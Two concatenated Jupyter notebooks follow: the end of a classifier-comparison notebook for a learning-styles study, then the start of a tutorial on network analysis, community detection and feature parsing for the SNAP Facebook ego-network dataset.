tempresults = pd.DataFrame({'Method':['Support Vector Machines'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'4'})
results = pd.concat([results, tempresults])
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# -
# ### Decision tree classifier
from sklearn.tree import DecisionTreeClassifier
dt_model = DecisionTreeClassifier()
param_grid = {'max_depth': list(range(1,20)),'min_samples_leaf': list(range(1,25)) }
gs = GridSearchCV(dt_model,param_grid,cv=10)
gs.fit(X_train, y_train)
print(gs.best_params_)
dt_model = DecisionTreeClassifier(max_depth = 5,min_samples_leaf=2).fit(X_train, y_train)
predicted = dt_model.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
plot_confusion_matrix(dt_model, X_test, y_test)
plt.show()
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr = DecisionTreeClassifier()
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
# +
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
tempresults = pd.DataFrame({'Method':['Decision_tree'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'5'})
results = pd.concat([results, tempresults])
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# -
# ### Random forest classifier
from sklearn.ensemble import RandomForestClassifier
RFmodel = RandomForestClassifier()
param_grid = {'max_depth': list(range(1,20)),'min_samples_leaf': list(range(1,20)),'n_estimators':[10,20,30,50,100] }
gs = GridSearchCV(RFmodel,param_grid,cv=5)
gs.fit(X_train, y_train)
print(gs.best_params_)
RFmodel = RandomForestClassifier(max_depth = 17,min_samples_leaf=1,n_estimators=50)
RFmodel.fit(X_train, y_train)
predicted = RFmodel.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
plot_confusion_matrix(RFmodel, X_test, y_test) # doctest: +SKIP
plt.show()
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr = RandomForestClassifier()
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
# +
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
tempresults = pd.DataFrame({'Method':['Random Forest'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'6'})
results = pd.concat([results, tempresults])
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# -
# ### Gradient Boost
from sklearn.ensemble import GradientBoostingClassifier
# +
GBmodel=GradientBoostingClassifier()
param_grid = {'max_depth': list(range(1,10)),'min_samples_leaf': list(range(1,10)),
'learning_rate':[1,0.1,0.01,1e-3, 1e-4] }
gs = GridSearchCV(GBmodel,param_grid,cv=5)
gs.fit(X_train, y_train)
print(gs.best_params_)
# -
GBmodel=GradientBoostingClassifier(learning_rate=0.1,max_depth = 2,min_samples_leaf= 9)
GBmodel.fit(X_train, y_train)
predicted = GBmodel.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
plot_confusion_matrix(GBmodel, X_test, y_test)
plt.show()
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr = GradientBoostingClassifier()
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
# +
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
tempresults = pd.DataFrame({'Method':['Gradient Boost'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'7'})
results = pd.concat([results, tempresults])
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# -
import xgboost as xgboost
Xmodel = xgboost.XGBClassifier()
param_grid = {'max_depth': list(range(1,10)),'learning_rate': [0.0001,0.001,0.01,0.1,0.2,0.3,0.4,0.5,0.6],'n_estimators': [10,20,30,50,100,120,150,200,220,250,300]}
gs = GridSearchCV(Xmodel,param_grid,cv=5)
gs.fit(X_train, y_train)
print(gs.best_params_)
Xmodel = xgboost.XGBClassifier(learning_rate=0.3,max_depth = 1,n_estimators=220)
Xmodel.fit(X_train, y_train)
predicted = Xmodel.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
plot_confusion_matrix(Xmodel, X_test, y_test)
plt.show()
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr =xgboost.XGBClassifier()
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
# +
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
tempresults = pd.DataFrame({'Method':['XG Boost'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'8'})
results = pd.concat([results, tempresults])
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# -
import lightgbm as lgb
model_lgb = lgb.LGBMClassifier()
param_grid = {'max_depth': list(range(1,20)),'learning_rate': [0.01,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9],
'n_estimators': [10,20,30,50,100,120,150,200]}
gs = GridSearchCV(model_lgb,param_grid,cv=5)
gs.fit(X_train, y_train)
print(gs.best_params_)
model_lgb = lgb.LGBMClassifier(learning_rate=0.7,max_depth = 5,n_estimators=120)
model_lgb.fit(X_train, y_train)
predicted = model_lgb.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
plot_confusion_matrix(model_lgb, X_test, y_test)
plt.show()
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr =lgb.LGBMClassifier()
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
# +
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
tempresults = pd.DataFrame({'Method':['Light GBM'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'9'})
results = pd.concat([results, tempresults])
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# -
from sklearn.ensemble import ExtraTreesClassifier
Emodel = ExtraTreesClassifier()
param_grid = {'max_depth': list(range(1,30)),'min_samples_leaf': list(range(1,20)),'n_estimators':[10,20,30,50,100] }
gs = GridSearchCV(Emodel,param_grid,cv=5)
gs.fit(X_train, y_train)
print(gs.best_params_)
Emodel = ExtraTreesClassifier(max_depth = 22,min_samples_leaf=3,n_estimators=10)
Emodel.fit(X_train, y_train)
predicted = Emodel.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
plot_confusion_matrix(Emodel, X_test, y_test)
plt.show()
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr =ExtraTreesClassifier()
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
# +
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
tempresults = pd.DataFrame({'Method':['Extratrees Classifier'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'10'})
results = pd.concat([results, tempresults])
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# -
from sklearn.ensemble import VotingClassifier
# +
votingC = VotingClassifier(estimators=[('rfc', RFmodel),('e',Emodel),('X',Xmodel),
('LGB', model_lgb), ('knn',knn),('gbc',GBmodel)], voting='soft', n_jobs=4)
votingC = votingC.fit(X_train, y_train)
# -
predicted = votingC.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
plot_confusion_matrix(votingC, X_test, y_test)
plt.show()
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr =VotingClassifier(estimators=[('rfc', RFmodel),('LGB', model_lgb), ('XG',Xmodel),('gbc',GBmodel)],
voting='soft', n_jobs=4)
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
# +
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
tempresults = pd.DataFrame({'Method':['Voting Classifier'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'11'})
results = pd.concat([results, tempresults])
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# -
results.to_csv('MODELS.csv',index = True)
| CODE/A STUDY ON LEARNING STYLES.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# + [markdown] id="Z12nIL0GmtKF"
# ## Machine learning on Social Netowrk Graphs
# + executionInfo={"elapsed": 2015, "status": "ok", "timestamp": 1616871368226, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="Plnw0bRc_Mks"
import os
import math
import numpy as np
import networkx as nx
import matplotlib.pyplot as plt
# %matplotlib inline
default_edge_color = 'gray'
default_node_color = '#407cc9'
enhanced_node_color = '#f5b042'
enhanced_edge_color = '#cc2f04'
# + [markdown] id="g-X4DgHfmzko"
# In this chapter we will focus on using the techniques outlined in previous chapters to analyze the most-common example of nowadays graphs: Social Networks. In particular we will apply the techniques outlined in previous chapters to investigate the topological properties of the networks, such as
# 1. identifying relevant communities as well as
# 2. identifying particularly important nodes in the network.
#
# We will then use node embeddings to leverage on the power of topological information for different tasks, such as link prediction (as a potential recommendation engine for new friends)
# + [markdown] id="v8L1V6CKqv6_"
# #### Dowload the dataset
#
# First, we need to download the dataset. We will be using the [SNAP Facebook social graph](http://snap.stanford.edu). The dataset was created by collection Facebook user information from survey participants. More in detail, 10 ego-networks were created from ten users. Each user was asked to identify all the circles (list of friends) to which their friends belong. Then, all the "ego-network" were combined in a single graph.
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 3063, "status": "ok", "timestamp": 1616871375254, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="1F-dlWqNGaF8" outputId="c422ddf8-3bad-45ae-e437-67d94bc8d480"
# !wget http://snap.stanford.edu/data/facebook_combined.txt.gz
# !wget http://snap.stanford.edu/data/facebook.tar.gz
# !gzip -d facebook_combined.txt.gz
# !tar -xf facebook.tar.gz
# + [markdown] id="Vye1SbKAnI_A"
# ### Overview of the Dataset
# + [markdown] id="_xRLZ3EmrRtW"
# The code above downloads two main files:
# * a text file containing the edge list of the graph. The graph is actually created
# * an archive containing a folder ("facebook") with all the information related to each ego-network
#
#
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 572, "status": "ok", "timestamp": 1615730514627, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="0u_P2c3T-bc5" outputId="bb59b58d-ecf4-45ae-f867-102c84bc09b1"
# check the downloaded content
# !ls
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 637, "status": "ok", "timestamp": 1615730516414, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="Uno8xGcQ-jjd" outputId="02b5d01a-4e08-4d95-f36c-7251248b3294"
# take a look at the first lines of the edge list
# !head facebook_combined.txt
# + [markdown] id="-J68AHFLsLP6"
# We can now proceed loading the combined network using networkx. We will also load the nodeId of the 10 "ego-user"
# + executionInfo={"elapsed": 923, "status": "ok", "timestamp": 1616871380640, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="peTKyoylGUuS"
G = nx.read_edgelist("facebook_combined.txt", create_using=nx.Graph(), nodetype=int)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 626, "status": "ok", "timestamp": 1615730522807, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="ssuI-8mvibIj" outputId="44e5daa6-07f3-47ec-8bc7-1d3fba54d0ee"
print(nx.info(G))
# + executionInfo={"elapsed": 787, "status": "ok", "timestamp": 1616871385179, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="QpouOy0bYTzR"
# Each file in the "facebook" directory is named as nodeId.format
# where nodeId is the id of an ego-user and format is the format of the file
ego_nodes = set([int(name.split('.')[0]) for name in os.listdir("facebook/")])
# + [markdown] id="bg6hTAj_tNDA"
# Let's visualize the network for a deeper understanding
# + id="poIVgKmCHFw3"
#Create network layout for visualizations
spring_pos = nx.spring_layout(G)
# + colab={"base_uri": "https://localhost:8080/", "height": 248} executionInfo={"elapsed": 2028, "status": "ok", "timestamp": 1615730581807, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="4AqPky9FsP7Y" outputId="062d5b31-6091-4df7-b3e5-5914ef14aaa2"
plt.axis("off")
nx.draw_networkx(G, pos=spring_pos, node_color=default_node_color, edge_color=default_edge_color, with_labels=False, node_size=35)
# + [markdown] id="2z2PCthzneat"
# ### Network Analysis
# + id="pRnhOeSYsHn4"
def draw_metric(G, dct, spring_pos):
""" draw the graph G using the layout spring_pos.
The top 10 nodes w.r.t. values in the dictionary dct
are enhanced in the visualization """
top = 10
max_nodes = sorted(dct.items(), key = lambda v: -v[1])[:top]
max_keys = [key for key,_ in max_nodes]
max_vals = [val*300 for _, val in max_nodes]
plt.axis("off")
nx.draw_networkx(G,
pos=spring_pos,
cmap='Blues',
edge_color=default_edge_color,
node_color=default_node_color,
node_size=3,
alpha=0.4,
with_labels=False)
nx.draw_networkx_nodes(G,
pos=spring_pos,
nodelist=max_keys,
node_color=enhanced_edge_color,
node_size=max_vals)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 628, "status": "ok", "timestamp": 1615730796465, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="gPMC9VDyuF5F" outputId="c467e5de-3e8d-4f5c-f954-4f6758bf4ac6"
# betweenness centrality
bC = nx.betweenness_centrality(G)
np.mean(list(bC.values()))
# + colab={"base_uri": "https://localhost:8080/", "height": 248} executionInfo={"elapsed": 2515, "status": "ok", "timestamp": 1615730862198, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="8uwzyBU8DJPQ" outputId="412d94cc-8b6a-4e34-f665-78ce11dd3e24"
draw_metric(G,bC,spring_pos)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 41093, "status": "ok", "timestamp": 1615730944044, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="wXbYnUjisJjq" outputId="2087e3f7-c47a-42dc-d2a4-f8050dd817fd"
# global efficiency
gE = nx.global_efficiency(G)
print(gE)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 3097, "status": "ok", "timestamp": 1615730995901, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="-rTdO9YrsbqP" outputId="854d3db6-d42e-4f5e-ea77-30840164f6af"
# average clustering
aC = nx.average_clustering(G)
print(aC)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 635, "status": "ok", "timestamp": 1615730998455, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="94viGU4vserg" outputId="05b8e669-e338-4943-88ff-5ece3ce55a8c"
# degree centrality
deg_C = nx.degree_centrality(G)
np.mean(list(deg_C.values()))
# + colab={"base_uri": "https://localhost:8080/", "height": 248} executionInfo={"elapsed": 2072, "status": "ok", "timestamp": 1615731014642, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="L73effhYiPYp" outputId="48bfad8c-3581-48dc-cd22-4c4caa088790"
draw_metric(G,deg_C,spring_pos)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 41617, "status": "ok", "timestamp": 1615731059755, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="vLp2CBJHtC1d" outputId="e5e9c70a-1327-4590-d4c4-049e0484115f"
# closeness centrality
clos_C = nx.closeness_centrality(G)
np.mean(list(clos_C.values()))
# + colab={"base_uri": "https://localhost:8080/", "height": 248} executionInfo={"elapsed": 257027, "status": "ok", "timestamp": 1614955028566, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="jjVxMxbWi23s" outputId="709444e2-13b5-473d-b0f1-f920889be174"
draw_metric(G,clos_C,spring_pos)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 1498, "status": "ok", "timestamp": 1615731119603, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="MQOah_yDtbaW" outputId="7a449548-ba12-41be-cd93-6a3c0f1beb88"
# assortativity
assortativity = nx.degree_pearson_correlation_coefficient(G)
assortativity
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 5142, "status": "ok", "timestamp": 1615731126175, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="axqLxhKXtoqF" outputId="118e10dc-f058-47c6-aa5a-5db66d6a5cef"
t = nx.transitivity(G)
t
# + id="_KKwGKCUARdb"
#import networkx.algorithms.community as nx_comm
#nx_comm.modularity(G, nx_comm.label_propagation_communities(G))
# + [markdown] id="5NeaSTApuLyZ"
# #### Community detection
# In the following cells we will automatically detect communities using infromation from the network topology
# + colab={"base_uri": "https://localhost:8080/", "height": 418} executionInfo={"elapsed": 4197, "status": "ok", "timestamp": 1615731133872, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="KP54IveMbNLD" outputId="39f42abd-9cf5-4755-de44-b9f7b4600d4b"
import community
parts = community.best_partition(G)
values = [parts.get(node) for node in G.nodes()]
for node in ego_nodes:
print(node, "is in community number", parts.get(node))
n_sizes = [5]*len(G.nodes())
for node in ego_nodes:
n_sizes[node] = 250
plt.axis("off")
nx.draw_networkx(G, pos=spring_pos, cmap=plt.get_cmap("Blues"), edge_color=default_edge_color, node_color=values, node_size=n_sizes, with_labels=False)
# enhance color and size of the ego-nodes
nodes = nx.draw_networkx_nodes(G,spring_pos,ego_nodes,node_color=[parts.get(node) for node in ego_nodes])
nodes.set_edgecolor(enhanced_node_color)
# + [markdown] id="sOJ0LIyLrnX8"
# ### Ego-net analysis
# + [markdown] id="ElSziksRue7G"
# Since the combined network we are analyzing is actually composed by 10 sub-networks (ego-networks), it's interesting to inspect all those subnetwork. In the following cells we will analyze the subnetwork of the ego-user "0".
# + colab={"base_uri": "https://localhost:8080/", "height": 248} executionInfo={"elapsed": 1318, "status": "ok", "timestamp": 1615731144363, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="shV3rrYbjkGy" outputId="23e0e823-56d7-4044-a490-a98d91978dc7"
G0 = nx.read_edgelist("facebook/0.edges", create_using=nx.Graph(), nodetype=int)
for node in G0.copy():
G0.add_edge(0,node)
plt.axis("off")
pos_G0 = nx.spring_layout(G0)
nx.draw_networkx(G0, pos=pos_G0, with_labels=False, node_size=35, edge_color=default_edge_color)
# + [markdown] id="4haXlOU3u3Wd"
# Nodes belonging to each subnetwork are stored in the "facebook" folder under the name nodeId.circles
# + id="_mX4VNsvlPRb"
import pandas as pd
circles = {}
with open("facebook/0.circles") as f_in:
line = f_in.readline().rstrip().split("\t")
while line and not '' in line:
circles[line[0]] = [int(v) for v in line[1:]]
line = f_in.readline().rstrip().split("\t")
# + colab={"base_uri": "https://localhost:8080/", "height": 248} executionInfo={"elapsed": 1256, "status": "ok", "timestamp": 1615731151095, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="W-TKkMJemhlv" outputId="2b1455cc-bb4b-4b5f-ecc5-a0411734184e"
node_colors = [0] * G0.number_of_nodes()
count = 0
for key in circles:
circle = circles[key]
for node in circle:
if node < G0.number_of_nodes():
node_colors[node] = count
count += 1
nx.draw_networkx(G0, pos=pos_G0, with_labels=False, node_size=35, node_color=node_colors, edge_color=default_edge_color)
# + colab={"base_uri": "https://localhost:8080/", "height": 248} executionInfo={"elapsed": 1259, "status": "ok", "timestamp": 1615731154782, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="MYtd8B9Atc1Y" outputId="bbe6645f-769c-4f94-f734-450871a0c3e4"
parts = community.best_partition(G0)
values = [parts.get(node) for node in G0.nodes()]
plt.axis("off")
nx.draw_networkx(G0, pos=pos_G0, cmap=plt.get_cmap("Blues"), edge_color=default_edge_color, node_color=values, node_size=35, with_labels=False)
# + colab={"base_uri": "https://localhost:8080/"} executionInfo={"elapsed": 634, "status": "ok", "timestamp": 1615731157443, "user": {"displayName": "<NAME>", "photoUrl": "https://lh3.googleusercontent.com/a-/AOh14GjBD_mZewcZ8LCqkD20Nku4DR5OCGFqYkxawoUjgg=s64", "userId": "17245895923239449231"}, "user_tz": -60} id="1fRxbnx9t958" outputId="218dbef6-4e29-4f14-b603-6bcdce7c8878"
# community found does not reflect the circles
set(parts.values())
len(circles)
# + id="qOho3z8Ew1yb"
# a node can be present in more than one list??
for i in circles:
for j in circles:
if i != j:
for n1 in circles[i]:
for n2 in circles[j]:
if n1 == n2:
print(n1, 'present in ',i,'found in', j)
assert(False)
# + cellView="form" id="oo535vsIy684"
#@title
nx.average_shortest_path_length(G0)
nx.global_efficiency(G0)
nx.average_clustering(G0)
np.mean(list(nx.betweenness_centrality(G0).values()))
np.mean(list(nx.closeness_centrality(G0).values()))
np.mean(list(nx.degree_centrality(G0).values()))
nx.degree_pearson_correlation_coefficient(G)
nx.transitivity(G)
import networkx.algorithms.community as nx_comm
nx_comm.modularity(G, nx_comm.label_propagation_communities(G))
# + [markdown] id="c8peWeN9nh1m"
# ### Embeddings for Supervised and Unsupervised Tasks
# + [markdown] id="VkzdQmIhvNm6"
# We will now proceed with the actual machine learning task. In particular, we will perform an edge prediction task for the Facebook social graph.
# + [markdown] id="VGjBXR_JCXgA"
# #### parse node features
#
# As first, let's load all the features describing each node. This is not a straightforward process and requires a bit of codes, since each subnetwork contains it's own set of features, whose names and values are stored in different files.
# + id="baistC-ZdaRf"
# Adapted from https://github.com/jcatw/snap-facebook
feat_file_name = "feature_map.txt"
feature_index = {} #numeric index to name
inverted_feature_index = {} #name to numeric index
network = nx.Graph()
def parse_featname_line(line):
""" used to parse each line of the files containing feature names """
line = line[(line.find(' '))+1:] # chop first field
split = line.split(';')
